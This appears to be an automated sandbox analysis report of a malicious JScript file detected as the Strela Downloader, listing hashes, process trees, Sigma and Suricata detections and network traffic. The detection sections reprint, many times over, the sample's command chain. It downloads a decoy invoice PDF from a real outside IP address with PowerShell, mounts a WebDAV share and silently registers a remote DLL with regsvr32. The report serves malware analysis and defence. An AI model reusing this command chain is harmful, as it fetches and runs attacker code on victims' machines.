Edit tour

Windows Analysis Report
296419801857622488.js

Overview

General Information

Sample name:	296419801857622488.js
Analysis ID:	1588081
MD5:	3b762838a7685710d8f0a669c2fcfe7c
SHA1:	06e81ae68472d5790667fcd04406656eb6706e83
SHA256:	6ac98b18f2ae6d07004ebcfdfcfc1358f7a221f935934407e3e5417f9af50422
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2940 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\296419801857622488.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5260 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2656 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 708 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6212 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7236 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1616,i,15871013987523686151,7360821968786260412,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5612 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2332 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1756 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2940	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5260, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2656, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5260, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2656, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\296419801857622488.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\296419801857622488.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\296419801857622488.js", ProcessId: 2940, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2332, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\296419801857622488.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2940, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, ProcessId: 5260, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\296419801857622488.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2940, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, ProcessId: 5260, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\296419801857622488.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2940, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, ProcessId: 5260, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\296419801857622488.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2940, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, ProcessId: 5260, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\296419801857622488.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2940, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, ProcessId: 5260, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\296419801857622488.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\296419801857622488.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\296419801857622488.js", ProcessId: 2940, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5260, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2656, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5612, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2332, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1756, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5612, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2332, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\296419801857622488.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2940, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll, ProcessId: 5260, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:08:13.603705+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:08:10.858769+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 296419801857622488.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 296419801857622488.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:08:10 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.8:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49704 -> 193.143.1.205:80

Source: global traffic

